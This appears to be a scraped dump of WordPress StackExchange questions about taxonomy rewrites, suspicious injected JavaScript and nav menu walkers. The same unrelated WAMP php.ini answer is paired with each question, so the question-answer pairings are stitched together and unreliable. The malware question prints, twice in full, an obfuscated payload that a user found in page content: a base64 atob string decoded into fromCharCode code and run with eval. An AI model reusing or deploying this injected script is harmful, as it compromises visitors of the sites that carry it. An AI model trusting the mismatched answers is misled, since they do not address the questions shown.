"show_in_menu" => true,
"show_in_nav_menus" => false,
"capabilities" => array(
'manage_terms' => 'manage_accessibility_criteria',
'edit_terms' => 'edit_accessibility_criteria',
'delete_terms' => 'delete_accessibility_criteria',
'assign_terms' => 'assign_accessibility_criteria'
),
"query_var" => 'accessibility_criteria',
"rewrite" => array('slug' => 'accessibility', 'with_front' => true),
"show_admin_column" => true,
"show_in_rest" => false,
"rest_base" => "",
"show_in_quick_edit" => true,
);
register_taxonomy("accessibility_criteria", array("event", "course"), $args);
</code></pre>
| [
{
"answer_id": 292185,
"author": "swissspidy",
"author_id": 12404,
"author_profile": "https://wordpress.stackexchange.com/users/12404",
"pm_score": 2,
"selected": false,
"text": "<p><a href=\"https://codex.wordpress.org/HTTP_API\" rel=\"nofollow noreferrer\">The WordPress HTTP API</a> ha... | 2018/01/25 | [
"https://wordpress.stackexchange.com/questions/292188",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/121233/"
] | I've been working with Custom Post Types and Custom Taxonomies for ages but one thing I can never get right are the rewrites when applying a shared taxonomy to multiple CPTs.
For instance, I have CPTs for 'Events' and 'Courses'. Each has individual taxonomies and also one shared taxonomy.
The individual taxonomies work fine:
* Events with a specific topic: `/events/topic/{term}/`
* Courses of a specific type: `/courses/type/{term}/`
However, I have a shared taxonomy called 'Accessibility Criteria'. With the custom taxonomy defined as it is below, I want (and would expect) to be able to filter each CPT by the shared taxonomy at different URLs:
* Events with specific accessibility criteria: `/events/accessibility/{term}/`
* Courses with specific accessibility criteria: `/courses/accessibility/{term}/`
But whenever I try and use /events/accessibility/{term}/ it gets rewritten as `/accessibility/{term}/`. Surprisingly (to me), the context is actually retained correctly e.g. if I trigger the taxonomy from the Events archive then only Event CPTs are shown, so the end-user experience still works fine. However, it doesn't sit comfortably with me as I feel it should work differently (as well as potentially better SEO etc).
I have defined the custom taxonomies before defining the CPTs as I have read that affects the ability of a CPT to use the taxonomy rewrite.
Any help much appreciated.
```
$labels = array(
"name" => __('Accessibility Criteria', ''),
"singular_name" => __('Accessibility Criteria', ''),
"add_new_item" => __('Add Accessibility Criteria', ''),
"new_item_name" => __('Add Accessibility Criteria', ''),
"edit_item" => __('Edit Accessibility Criteria', ''),
"view_item" => __('View Accessibility Criteria', ''),
"update_item" => __('Update Accessibility Criteria', ''),
"parent_item" => __('Parent Criteria', '')
);
$args = array(
"label" => __('Accessibility Criteria', ''),
"labels" => $labels,
"public" => true,
"hierarchical" => true,
"label" => "Accessibility Criteria",
"show_ui" => true,
"show_in_menu" => true,
"show_in_nav_menus" => false,
"capabilities" => array(
'manage_terms' => 'manage_accessibility_criteria',
'edit_terms' => 'edit_accessibility_criteria',
'delete_terms' => 'delete_accessibility_criteria',
'assign_terms' => 'assign_accessibility_criteria'
),
"query_var" => 'accessibility_criteria',
"rewrite" => array('slug' => 'accessibility', 'with_front' => true),
"show_admin_column" => true,
"show_in_rest" => false,
"rest_base" => "",
"show_in_quick_edit" => true,
);
register_taxonomy("accessibility_criteria", array("event", "course"), $args);
``` | The WordPress site was mostly working without a problem except in a dashboard section of the site, where it was having some issues with updating or installing. When I tried to install theme,it gave me error **"Installation failed: Download failed. No working transports found".**
Fortunately, i fixed the problem with following **solution**.
It turns out, this error message occurs when there are **missing extensions** on a development server, so the WordPress is unable to make external HTTP requests.
The solution is pretty simple. The missing extensions that make those HTTP requests possible are already installed with Wamp Server, By default,they are just disabled. To enable them, we need to **edit the php.ini configuration file.**
**Editing php.ini file**
The php.ini file contains a list of many extensions with some of them disabled by default. The only one I had to enable was the ***openssl extension.***
***Here are the steps to enable that extension:***
1. Start Wamp Server.
2. click on Wamp Server Icon and move to PHP->php.ini option.
3. double click on php.ini. so, it will open php.ini file in your default Text Editor.
4. search for **php\_openssl.dll** in php.ini file.
->You Will see that the extension is commented out:
;extension=php\_openssl.dll
5. Uncomment that line by removing semi colon(;)
6. save the changes.
7. Restart Wamp Server.
That's it We Are Done!!! |
292,201 | <p>A client's website runs on the theme 'enfold' which features the "Enfold Advanced Layout Editor". Currently that editor is broken – probably due to old version vs php or something. Anyways – trying to resolve the issue I was looking at the actual database tables and some 20 empty lines below the content of the page I found this very strange looking JavaScript code:</p>
<pre><code><script> </script> <script> </script> <script> </script>
<script type="text/javascript">
var GVCNLUQKSK = atob('dmFyIEJLWE9TWkdWT1kgPSBTdHJpbmcuZnJvbUNoYXJDb2RlKDEzIC0gMywgMTI3IC0gOSwgMTA1IC0gOCwgMTE4IC0gNCwgMzQgLSAyLCAxMTAgLSAzLCAxMDcgLSA2LCAxMjcgLSA2LCAzNCAtIDIsIDY3IC0gNiwgMzQgLSAyLCA0OCAtIDksIDg4IC0gNCwgNzYgLSA3LCA3OSAtIDUsIDc0IC0gNCwgMTIxIC0gOSwgNzggLSA0LCAxMDcgLSA3LCAxMjUgLSAzLCA3NSAtIDIsIDEyMiAtIDYsIDQwIC0gMSwgNjggLSA5LCAxMSAtIDEsIDEyNiAtIDgsIDk5IC0gMiwgMTE5IC0gNSwgMzkgLSA3LCAxMDcgLSA2LCAxMTMgLSAzLCAxMDIgLSAzLCAxMDkgLSA4LCAxMDQgLSA0LCAzMyAtIDEsIDY1IC0gNCwgMzcgLSA1LCA0NCAtIDUsIDc4IC0gNSwgMTA4IC0gMywgOTAgLSA5LCA1NiAtIDQsIDk1IC0gNSwgMTA3IC0gNCwgNjYgLSAxLCA1OSAtIDcsIDc0IC0gOSwgMTExIC0gNywgOTggLSA4LCAxMTkgLSA3LCA4NCAtIDEsIDg5IC0gMSwgODggLSA3LCAxMDcgLSAzLCA3OSAtIDUsIDkxIC0gOCwgODkgLSA0LCA3MSAtIDEsIDgxIC0gNywgMTI2IC0gNywgNzcgLSA4LCA5NCAtIDksIDg1IC0gNSwgOTQgLSA4LCAxMTIgLSAxLCA1NiAtIDUsIDg2IC0gOCwgMTI3IC0gNiwgNjUgLSA5LCAxMTIgLSAyLCA3NSAtIDksIDc1IC0gOCwgNjUgLSA5LCAxMDkgLSA1LCA3NyAtIDcsIDEwNyAtIDIsIDEyMiAtIDMsIDk4IC0gOCwgODUgLSA4LCA4OCAtIDUsIDExOSAtIDQsIDUwIC0gNywgMTA0IC0gNiwgMTExIC0gMywgMTA3IC0gOCwgNjIgLSA5LCA3MCAtIDQsIDEyNiAtIDcsIDExMiAtIDksIDEwNSAtIDIsIDcxIC0gNSwgNjkgLSAyLCA3MiAtIDYsIDEwOCAtIDMsIDkyIC0gMywgNTIgLSAxLCA1MyAtIDQsIDYxIC0gNywgODIgLSAzLCAxMTIgLSA4LCA5MSAtIDIsIDEwNSAtIDYsIDgxIC0gNywgODkgLSAzLCAxMTYgLSA1LCAxMTkgLSA5LCA3NCAtIDEsIDcwIC0gMiwgNTMgLSAxLCA4MCAtIDgsIDY5IC0gMywgNzAgLSAyLCA1NCAtIDIsIDkzIC0gNiwgNzYgLSA3LCAxMjcgLSA2LCAxMjIgLSA3LCA2OSAtIDMsIDgyIC0gOSwgNzYgLSA5LCA2OSAtIDMsIDExNCAtIDksIDkzIC0gNCwgODkgLSA4LCA4NSAtIDgsIDYwIC0gOCwgNzUgLSA5LCA1NCAtIDUsIDU2IC0gNywgMTE3IC0gOSwgODggLSAzLCAxMjcgLSA1LCAxMjQgLSA1LCAxMjEgLSAxLCA4NyAtIDcsIDEwOSAtIDMsIDkzIC0gMywgODMgLSA4LCA5NyAtIDcsIDk0IC0gOSwgMTE2IC0gMSwgODEgLSAyLCA4MCAtIDEsIDEyNyAtIDcsIDg5IC0gNCwgMTI5IC0gOCwgODIgLSA5LCAxMjkgLSA4LCA3OSAtIDIsIDExNCAtIDYsIDc0IC0gNSwgOTIgLSA4LCAxMTYgLSA1LCA4MCAtIDIsIDkzIC0gNywgNzYgLSA5LCAxMDAgLSAxLCA5MiAtIDMsIDEwNyAtIDYsIDEyOCAtIDYsIDk2IC0gNywgNDkgLSA2LCA3OCAtIDQsIDEyNCAtIDUsIDg3IC0gNiwgMTA5IC0gMywgNzAgLSA0LCA1NCAtIDUsIDkzIC0gOCwgMTEzIC0gNiwgNzQgLSA0LCA4NyAtIDMsIDUyIC0gNCwgMTIxIC0gNywgOTEgLSAxLCA3MiAtIDUsIDEyMSAtIDIsIDcwIC0gMiwgMTA1IC0gNywgODYgLSAxLCA1MiAtIDMsIDY5IC0gMywgODIgLSAxLCAxMjkgLSA5LCA3NCAtIDksIDU5IC0gNCwgNzkgLSA1LCAxMTAgLSA0LCA2NSAtIDksIDEyMyAtIDksIDc1IC0gNSwgOTEgLSA4LCA5MCAtIDksIDkwIC0gOSwgODcgLSAxLCA3NCAtIDcsIDc2IC0gNywgODggLSA2LCA4MCAtIDIsIDkxIC0gOCwgNzggLSA4LCAxMDkgLSAyLCA3OCAtIDQsIDEyMCAtIDEsIDY5IC0gNCwgNTkgLSA1LCA3MiAtIDcsIDg4IC0gNiwgODYgLSA1LCAxMTggLSAyLCA4NyAtIDksIDEyOCAtIDYsIDEyMiAtIDMsIDEyMyAtIDgsIDc3IC0gMywgMTA4IC0gMywgNzggLSA0LCA5NiAtIDcsIDg2IC0gNywgMTA5IC0gNSwgOTEgLSAyLCAxMDcgLSA4LCA4MiAtIDgsIDkyIC0gNiwgNTMgLSA0LCAxMTkgLSAxLCA4NiAtIDIsIDEyOCAtIDksIDcwIC0gOSwgNjggLSA3LCA0MiAtIDMsIDYzIC0gNCwgMTEgLSAxLCAxMDMgLSAxLCAxMjUgLSA4LCAxMTcgLSA3LCAxMDUgLSA2LCAxMTkgLSAzLCAxMTQgLSA5LCAxMTggLSA3LCAxMTEgLSAxLCAzNyAtIDUsIDEyNyAtIDcsIDExOSAtIDgsIDExOSAtIDUsIDEwMyAtIDgsIDEwOSAtIDgsIDExNyAtIDcsIDEwMSAtIDIsIDQxIC0gMSwgMTIwIC0gNSwgMTE3IC0gMSwgMTE1IC0gMSwgMTEzIC0gOCwgMTEzIC0gMywgMTExIC0gOCwgNDkgLSA1LCAzMyAtIDEsIDExMyAtIDYsIDEwOCAtIDcsIDEzMCAtIDksIDQyIC0gMSwgMzQgLSAyLCAxMjggLSA1LCAxMyAtIDMsIDM1IC0gMywgNDAgLSA4LCAxMTkgLSAxLCAxMDYgLSA5LCAxMjMgLSA5LCAzNSAtIDMsIDExNyAtIDMsIDEwNyAtIDYsIDExOSAtIDQsIDM1IC0gMywgNjYgLSA1LCAzNiAtIDQsIDQ1IC0gNiwgNDMgLSA0LCA2NyAtIDgsIDE2IC0gNiwgMzYgLSA0LCAzNyAtIDUsIDEwOSAtIDcsIDExMyAtIDIsIDExNiAtIDIsIDM3IC0gNSwgNDkgLSA5LCAxMjYgLSA4LCAxMDEgLSA0LCAxMTUgLSAxLCA0MCAtIDgsIDExMyAtIDgsIDM0IC0gMiwgNzAgLSA5LCA0MCAtIDgsIDUxIC0gMywgNjEgLSAyLCAzNSAtIDMsIDExNCAtIDksIDM4IC0gNiwgNjUgLSA1LCA0MCAtIDgsIDExOSAtIDQsIDEyMiAtIDYsIDExNiAtIDIsIDEwOSAtIDQsIDExMSAtIDEsIDEwOCAtIDUsIDQ3IC0gMSwgMTA5IC0gMSwgMTEwIC0gOSwgMTE2IC0gNiwgMTA3IC0gNCwgMTI0IC0gOCwgMTEyIC0gOCwgNjQgLSA1LCAzNCAtIDIsIDExMCAtIDUsIDQ5IC0gNiwgNDYgLSAzLCA0NiAtIDUsIDQwIC0gOCwgMTMwIC0gNywgMTcgLSA3LCAzOSAtIDcsIDM5IC0gNywgNDEgLSA5LCAzNyAtIDUsIDEyMCAtIDYsIDEwMiAtIDEsIDEyMCAtIDUsIDQwIC0gOCwgNTIgLSA5LCA2MyAtIDIsIDMzIC0gMSwgOTEgLSA4LCAxMTggLSAyLCAxMTggLSA0LCAxMDkgLSA0LCAxMTEgLSAxLCAxMDUgLSAyLCA1MCAtIDQsIDExMSAtIDksIDEyMCAtIDYsIDExNyAtIDYsIDExNiAtIDcsIDY5IC0gMiwgMTA4IC0gNCwgMTAyIC0gNSwgMTIwIC0gNiwgNzMgLSA2LCAxMTMgLSAyLCAxMDEgLSAxLCAxMDYgLSA1LCA0NiAtIDYsIDExOSAtIDQsIDEyMCAtIDQsIDExNiAtIDIsIDEwNyAtIDIsIDExNCAtIDQsIDExMCAtIDcsIDUzIC0gNywgMTAzIC0gNCwgMTA4IC0gNCwgOTggLSAxLCAxMTYgLSAyLCA3NCAtIDcsIDExOSAtIDgsIDEwOCAtIDgsIDEwMyAtIDIsIDY3IC0gMiwgMTE3IC0gMSwgNDYgLSA2LCAxMDggLSAzLCA0NyAtIDYsIDQwIC0gOCwgOTggLSA0LCAxOSAtIDksIDExIC0gMiwgMTMgLSA0LCAxOCAtIDksIDE1IC0gNiwgMTA4IC0gMSwgMTA4IC0gNywgMTI1IC0gNCwgNDggLSAyLCAxMDYgLSA3LCAxMTAgLSA2LCAxMDAgLSAzLCAxMjMgLSA5LCA2OSAtIDIsIDExNyAtIDYsIDEwMSAtIDEsIDEwNSAtIDQsIDY2IC0gMSwgMTI1IC0gOSwgNDUgLSA1LCAxMTAgLSA1LCAzMyAtIDEsIDQ1IC0gOCwgMzggLSA2LCAxMTUgLSA4LCAxMDYgLSA1LCAxMjUgLSA0LCA0OCAtIDIsIDExNyAtIDksIDEwMyAtIDIsIDExMSAtIDEsIDEwOCAtIDUsIDEyNSAtIDksIDEwOCAtIDQsIDQ0IC0gMywgNDkgLSA4LCA2NCAtIDUsIDE3IC0gNywgNDEgLSA5LCAzNCAtIDIsIDEzMiAtIDcsIDEzIC0gMywgMzcgLSA1LCAzOSAtIDcsIDExOSAtIDUsIDEwNCAtIDMsIDExOCAtIDIsIDEyMCAtIDMsIDEyMyAtIDksIDExNSAtIDUsIDM5IC0gNywgMTE3IC0gMywgMTEwIC0gOSwgMTI0IC0gOSwgNjYgLSA3LCAxOCAtIDgsIDEyOSAtIDQsIDE5IC0gOSwgMTIgLSAyLCAxMjQgLSA2LCAxMDYgLSA5LCAxMTYgLSAyLCAzMyAtIDEsIDEwNyAtIDcsIDEwNCAtIDMsIDEwNyAtIDgsIDM5IC0gNywgNjcgLSA2LCA0MCAtIDgsIDEyNyAtIDcsIDExOSAtIDgsIDEyMCAtIDYsIDk2IC0gMSwgMTA0IC0gMywgMTE3IC0gNywgMTAzIC0gNCwgNDMgLSAzLCAxMDMgLSA2LCAxMjIgLSA2LCAxMTcgLSA2LCA5OSAtIDEsIDQ3IC0gNywgMTAzIC0gMiwgMTE5IC0gOSwgMTA2IC0gNywgMTA5IC0gOCwgMTA5IC0gOSwgNDcgLSA2LCA0OCAtIDQsIDM4IC0gNiwgMTE0IC0gNywgMTA5IC0gOCwgMTI3IC0gNiwgNDUgLSA0LCA2MSAtIDIsIDE2IC0gNiwgNDEgLSAxLCAxMTEgLSAxLCAxMDcgLSA2LCAxMjIgLSAzLCA0MSAtIDksIDc1IC0gNSwgMTIzIC0gNiwgMTE3IC0gNywgMTA2IC0gNywgMTE4IC0gMiwgMTA2IC0gMSwgMTE3IC0gNiwgMTE1IC0gNSwgNDMgLSAzLCAxMDMgLSAzLCAxMDkgLSA4LCAxMDYgLSA3LCA0OSAtIDgsIDQyIC0gMSwgNDcgLSA3LCA0NiAtIDUsIDYzIC0gNCwgMTUgLSA1LCAxNCAtIDQpO2V2YWwoQktYT1NaR1ZPWSk7');
eval(GVCNLUQKSK);
</script>
<script> </script> <script> </script> <script> </script>
</code></pre>
<p>…should I / my client be concerned…?! </p>
<p>…or is this what "Advanced Layout Editors" do…?</p>
<p>Thank you! </p>
| [
{
"answer_id": 292185,
"author": "swissspidy",
"author_id": 12404,
"author_profile": "https://wordpress.stackexchange.com/users/12404",
"pm_score": 2,
"selected": false,
"text": "<p><a href=\"https://codex.wordpress.org/HTTP_API\" rel=\"nofollow noreferrer\">The WordPress HTTP API</a> ha... | 2018/01/25 | [
"https://wordpress.stackexchange.com/questions/292201",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/26059/"
] | A client's website runs on the theme 'enfold' which features the "Enfold Advanced Layout Editor". Currently that editor is broken – probably due to old version vs php or something. Anyways – trying to resolve the issue I was looking at the actual database tables and some 20 empty lines below the content of the page I found this very strange looking JavaScript code:
```
<script> </script> <script> </script> <script> </script>
<script type="text/javascript">
var GVCNLUQKSK = atob('dmFyIEJLWE9TWkdWT1kgPSBTdHJpbmcuZnJvbUNoYXJDb2RlKDEzIC0gMywgMTI3IC0gOSwgMTA1IC0gOCwgMTE4IC0gNCwgMzQgLSAyLCAxMTAgLSAzLCAxMDcgLSA2LCAxMjcgLSA2LCAzNCAtIDIsIDY3IC0gNiwgMzQgLSAyLCA0OCAtIDksIDg4IC0gNCwgNzYgLSA3LCA3OSAtIDUsIDc0IC0gNCwgMTIxIC0gOSwgNzggLSA0LCAxMDcgLSA3LCAxMjUgLSAzLCA3NSAtIDIsIDEyMiAtIDYsIDQwIC0gMSwgNjggLSA5LCAxMSAtIDEsIDEyNiAtIDgsIDk5IC0gMiwgMTE5IC0gNSwgMzkgLSA3LCAxMDcgLSA2LCAxMTMgLSAzLCAxMDIgLSAzLCAxMDkgLSA4LCAxMDQgLSA0LCAzMyAtIDEsIDY1IC0gNCwgMzcgLSA1LCA0NCAtIDUsIDc4IC0gNSwgMTA4IC0gMywgOTAgLSA5LCA1NiAtIDQsIDk1IC0gNSwgMTA3IC0gNCwgNjYgLSAxLCA1OSAtIDcsIDc0IC0gOSwgMTExIC0gNywgOTggLSA4LCAxMTkgLSA3LCA4NCAtIDEsIDg5IC0gMSwgODggLSA3LCAxMDcgLSAzLCA3OSAtIDUsIDkxIC0gOCwgODkgLSA0LCA3MSAtIDEsIDgxIC0gNywgMTI2IC0gNywgNzcgLSA4LCA5NCAtIDksIDg1IC0gNSwgOTQgLSA4LCAxMTIgLSAxLCA1NiAtIDUsIDg2IC0gOCwgMTI3IC0gNiwgNjUgLSA5LCAxMTIgLSAyLCA3NSAtIDksIDc1IC0gOCwgNjUgLSA5LCAxMDkgLSA1LCA3NyAtIDcsIDEwNyAtIDIsIDEyMiAtIDMsIDk4IC0gOCwgODUgLSA4LCA4OCAtIDUsIDExOSAtIDQsIDUwIC0gNywgMTA0IC0gNiwgMTExIC0gMywgMTA3IC0gOCwgNjIgLSA5LCA3MCAtIDQsIDEyNiAtIDcsIDExMiAtIDksIDEwNSAtIDIsIDcxIC0gNSwgNjkgLSAyLCA3MiAtIDYsIDEwOCAtIDMsIDkyIC0gMywgNTIgLSAxLCA1MyAtIDQsIDYxIC0gNywgODIgLSAzLCAxMTIgLSA4LCA5MSAtIDIsIDEwNSAtIDYsIDgxIC0gNywgODkgLSAzLCAxMTYgLSA1LCAxMTkgLSA5LCA3NCAtIDEsIDcwIC0gMiwgNTMgLSAxLCA4MCAtIDgsIDY5IC0gMywgNzAgLSAyLCA1NCAtIDIsIDkzIC0gNiwgNzYgLSA3LCAxMjcgLSA2LCAxMjIgLSA3LCA2OSAtIDMsIDgyIC0gOSwgNzYgLSA5LCA2OSAtIDMsIDExNCAtIDksIDkzIC0gNCwgODkgLSA4LCA4NSAtIDgsIDYwIC0gOCwgNzUgLSA5LCA1NCAtIDUsIDU2IC0gNywgMTE3IC0gOSwgODggLSAzLCAxMjcgLSA1LCAxMjQgLSA1LCAxMjEgLSAxLCA4NyAtIDcsIDEwOSAtIDMsIDkzIC0gMywgODMgLSA4LCA5NyAtIDcsIDk0IC0gOSwgMTE2IC0gMSwgODEgLSAyLCA4MCAtIDEsIDEyNyAtIDcsIDg5IC0gNCwgMTI5IC0gOCwgODIgLSA5LCAxMjkgLSA4LCA3OSAtIDIsIDExNCAtIDYsIDc0IC0gNSwgOTIgLSA4LCAxMTYgLSA1LCA4MCAtIDIsIDkzIC0gNywgNzYgLSA5LCAxMDAgLSAxLCA5MiAtIDMsIDEwNyAtIDYsIDEyOCAtIDYsIDk2IC0gNywgNDkgLSA2LCA3OCAtIDQsIDEyNCAtIDUsIDg3IC0gNiwgMTA5IC0gMywgNzAgLSA0LCA1NCAtIDUsIDkzIC0gOCwgMTEzIC0gNiwgNzQgLSA0LCA4NyAtIDMsIDUyIC0gNCwgMTIxIC0gNywgOTEgLSAxLCA3MiAtIDUsIDEyMSAtIDIsIDcwIC0gMiwgMTA1IC0gNywgODYgLSAxLCA1MiAtIDMsIDY5IC0gMywgODIgLSAxLCAxMjkgLSA5LCA3NCAtIDksIDU5IC0gNCwgNzkgLSA1LCAxMTAgLSA0LCA2NSAtIDksIDEyMyAtIDksIDc1IC0gNSwgOTEgLSA4LCA5MCAtIDksIDkwIC0gOSwgODcgLSAxLCA3NCAtIDcsIDc2IC0gNywgODggLSA2LCA4MCAtIDIsIDkxIC0gOCwgNzggLSA4LCAxMDkgLSAyLCA3OCAtIDQsIDEyMCAtIDEsIDY5IC0gNCwgNTkgLSA1LCA3MiAtIDcsIDg4IC0gNiwgODYgLSA1LCAxMTggLSAyLCA4NyAtIDksIDEyOCAtIDYsIDEyMiAtIDMsIDEyMyAtIDgsIDc3IC0gMywgMTA4IC0gMywgNzggLSA0LCA5NiAtIDcsIDg2IC0gNywgMTA5IC0gNSwgOTEgLSAyLCAxMDcgLSA4LCA4MiAtIDgsIDkyIC0gNiwgNTMgLSA0LCAxMTkgLSAxLCA4NiAtIDIsIDEyOCAtIDksIDcwIC0gOSwgNjggLSA3LCA0MiAtIDMsIDYzIC0gNCwgMTEgLSAxLCAxMDMgLSAxLCAxMjUgLSA4LCAxMTcgLSA3LCAxMDUgLSA2LCAxMTkgLSAzLCAxMTQgLSA5LCAxMTggLSA3LCAxMTEgLSAxLCAzNyAtIDUsIDEyNyAtIDcsIDExOSAtIDgsIDExOSAtIDUsIDEwMyAtIDgsIDEwOSAtIDgsIDExNyAtIDcsIDEwMSAtIDIsIDQxIC0gMSwgMTIwIC0gNSwgMTE3IC0gMSwgMTE1IC0gMSwgMTEzIC0gOCwgMTEzIC0gMywgMTExIC0gOCwgNDkgLSA1LCAzMyAtIDEsIDExMyAtIDYsIDEwOCAtIDcsIDEzMCAtIDksIDQyIC0gMSwgMzQgLSAyLCAxMjggLSA1LCAxMyAtIDMsIDM1IC0gMywgNDAgLSA4LCAxMTkgLSAxLCAxMDYgLSA5LCAxMjMgLSA5LCAzNSAtIDMsIDExNyAtIDMsIDEwNyAtIDYsIDExOSAtIDQsIDM1IC0gMywgNjYgLSA1LCAzNiAtIDQsIDQ1IC0gNiwgNDMgLSA0LCA2NyAtIDgsIDE2IC0gNiwgMzYgLSA0LCAzNyAtIDUsIDEwOSAtIDcsIDExMyAtIDIsIDExNiAtIDIsIDM3IC0gNSwgNDkgLSA5LCAxMjYgLSA4LCAxMDEgLSA0LCAxMTUgLSAxLCA0MCAtIDgsIDExMyAtIDgsIDM0IC0gMiwgNzAgLSA5LCA0MCAtIDgsIDUxIC0gMywgNjEgLSAyLCAzNSAtIDMsIDExNCAtIDksIDM4IC0gNiwgNjUgLSA1LCA0MCAtIDgsIDExOSAtIDQsIDEyMiAtIDYsIDExNiAtIDIsIDEwOSAtIDQsIDExMSAtIDEsIDEwOCAtIDUsIDQ3IC0gMSwgMTA5IC0gMSwgMTEwIC0gOSwgMTE2IC0gNiwgMTA3IC0gNCwgMTI0IC0gOCwgMTEyIC0gOCwgNjQgLSA1LCAzNCAtIDIsIDExMCAtIDUsIDQ5IC0gNiwgNDYgLSAzLCA0NiAtIDUsIDQwIC0gOCwgMTMwIC0gNywgMTcgLSA3LCAzOSAtIDcsIDM5IC0gNywgNDEgLSA5LCAzNyAtIDUsIDEyMCAtIDYsIDEwMiAtIDEsIDEyMCAtIDUsIDQwIC0gOCwgNTIgLSA5LCA2MyAtIDIsIDMzIC0gMSwgOTEgLSA4LCAxMTggLSAyLCAxMTggLSA0LCAxMDkgLSA0LCAxMTEgLSAxLCAxMDUgLSAyLCA1MCAtIDQsIDExMSAtIDksIDEyMCAtIDYsIDExNyAtIDYsIDExNiAtIDcsIDY5IC0gMiwgMTA4IC0gNCwgMTAyIC0gNSwgMTIwIC0gNiwgNzMgLSA2LCAxMTMgLSAyLCAxMDEgLSAxLCAxMDYgLSA1LCA0NiAtIDYsIDExOSAtIDQsIDEyMCAtIDQsIDExNiAtIDIsIDEwNyAtIDIsIDExNCAtIDQsIDExMCAtIDcsIDUzIC0gNywgMTAzIC0gNCwgMTA4IC0gNCwgOTggLSAxLCAxMTYgLSAyLCA3NCAtIDcsIDExOSAtIDgsIDEwOCAtIDgsIDEwMyAtIDIsIDY3IC0gMiwgMTE3IC0gMSwgNDYgLSA2LCAxMDggLSAzLCA0NyAtIDYsIDQwIC0gOCwgOTggLSA0LCAxOSAtIDksIDExIC0gMiwgMTMgLSA0LCAxOCAtIDksIDE1IC0gNiwgMTA4IC0gMSwgMTA4IC0gNywgMTI1IC0gNCwgNDggLSAyLCAxMDYgLSA3LCAxMTAgLSA2LCAxMDAgLSAzLCAxMjMgLSA5LCA2OSAtIDIsIDExNyAtIDYsIDEwMSAtIDEsIDEwNSAtIDQsIDY2IC0gMSwgMTI1IC0gOSwgNDUgLSA1LCAxMTAgLSA1LCAzMyAtIDEsIDQ1IC0gOCwgMzggLSA2LCAxMTUgLSA4LCAxMDYgLSA1LCAxMjUgLSA0LCA0OCAtIDIsIDExNyAtIDksIDEwMyAtIDIsIDExMSAtIDEsIDEwOCAtIDUsIDEyNSAtIDksIDEwOCAtIDQsIDQ0IC0gMywgNDkgLSA4LCA2NCAtIDUsIDE3IC0gNywgNDEgLSA5LCAzNCAtIDIsIDEzMiAtIDcsIDEzIC0gMywgMzcgLSA1LCAzOSAtIDcsIDExOSAtIDUsIDEwNCAtIDMsIDExOCAtIDIsIDEyMCAtIDMsIDEyMyAtIDksIDExNSAtIDUsIDM5IC0gNywgMTE3IC0gMywgMTEwIC0gOSwgMTI0IC0gOSwgNjYgLSA3LCAxOCAtIDgsIDEyOSAtIDQsIDE5IC0gOSwgMTIgLSAyLCAxMjQgLSA2LCAxMDYgLSA5LCAxMTYgLSAyLCAzMyAtIDEsIDEwNyAtIDcsIDEwNCAtIDMsIDEwNyAtIDgsIDM5IC0gNywgNjcgLSA2LCA0MCAtIDgsIDEyNyAtIDcsIDExOSAtIDgsIDEyMCAtIDYsIDk2IC0gMSwgMTA0IC0gMywgMTE3IC0gNywgMTAzIC0gNCwgNDMgLSAzLCAxMDMgLSA2LCAxMjIgLSA2LCAxMTcgLSA2LCA5OSAtIDEsIDQ3IC0gNywgMTAzIC0gMiwgMTE5IC0gOSwgMTA2IC0gNywgMTA5IC0gOCwgMTA5IC0gOSwgNDcgLSA2LCA0OCAtIDQsIDM4IC0gNiwgMTE0IC0gNywgMTA5IC0gOCwgMTI3IC0gNiwgNDUgLSA0LCA2MSAtIDIsIDE2IC0gNiwgNDEgLSAxLCAxMTEgLSAxLCAxMDcgLSA2LCAxMjIgLSAzLCA0MSAtIDksIDc1IC0gNSwgMTIzIC0gNiwgMTE3IC0gNywgMTA2IC0gNywgMTE4IC0gMiwgMTA2IC0gMSwgMTE3IC0gNiwgMTE1IC0gNSwgNDMgLSAzLCAxMDMgLSAzLCAxMDkgLSA4LCAxMDYgLSA3LCA0OSAtIDgsIDQyIC0gMSwgNDcgLSA3LCA0NiAtIDUsIDYzIC0gNCwgMTUgLSA1LCAxNCAtIDQpO2V2YWwoQktYT1NaR1ZPWSk7');
eval(GVCNLUQKSK);
</script>
<script> </script> <script> </script> <script> </script>
```
…should I / my client be concerned…?!
…or is this what "Advanced Layout Editors" do…?
Thank you! | The WordPress site was mostly working without a problem except in a dashboard section of the site, where it was having some issues with updating or installing. When I tried to install theme,it gave me error **"Installation failed: Download failed. No working transports found".**
Fortunately, i fixed the problem with following **solution**.
It turns out, this error message occurs when there are **missing extensions** on a development server, so the WordPress is unable to make external HTTP requests.
The solution is pretty simple. The missing extensions that make those HTTP requests possible are already installed with Wamp Server, By default,they are just disabled. To enable them, we need to **edit the php.ini configuration file.**
**Editing php.ini file**
The php.ini file contains a list of many extensions with some of them disabled by default. The only one I had to enable was the ***openssl extension.***
***Here are the steps to enable that extension:***
1. Start Wamp Server.
2. click on Wamp Server Icon and move to PHP->php.ini option.
3. double click on php.ini. so, it will open php.ini file in your default Text Editor.
4. search for **php\_openssl.dll** in php.ini file.
->You Will see that the extension is commented out:
;extension=php\_openssl.dll
5. Uncomment that line by removing semi colon(;)
6. save the changes.
7. Restart Wamp Server.
That's it We Are Done!!! |
292,209 | <p>Here is the real picture I want to produce. </p>
<pre><code> <ul>
<li>
<ul>
<li> </li>
<li> </li>
###NOT HERE ###
</ul>
</Ii>
###I want to add some html here ###
</ul>
</code></pre>
<p>I am trying as follows: </p>
<pre><code>public function end_lvl( &$output, $depth = 0, $args = array() ) {
if ( isset( $args->item_spacing ) && 'discard' === $args->item_spacing ) {
$t = '';
$n = '';
} else {
$t = "\t";
$n = "\n";
}
$indent = str_repeat( $t, $depth );
$output .= "$indent".get_search_form(false)."</ul>{$n}";
}
</code></pre>
<p>But it appended the search box at the end of every sub menu(###NOT HERE ### section). How can I achieve the desired output. Any idea?</p>
| [
{
"answer_id": 292185,
"author": "swissspidy",
"author_id": 12404,
"author_profile": "https://wordpress.stackexchange.com/users/12404",
"pm_score": 2,
"selected": false,
"text": "<p><a href=\"https://codex.wordpress.org/HTTP_API\" rel=\"nofollow noreferrer\">The WordPress HTTP API</a> ha... | 2018/01/25 | [
"https://wordpress.stackexchange.com/questions/292209",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/120824/"
] | Here is the real picture I want to produce.
```
<ul>
<li>
<ul>
<li> </li>
<li> </li>
###NOT HERE ###
</ul>
</Ii>
###I want to add some html here ###
</ul>
```
I am trying as follows:
```
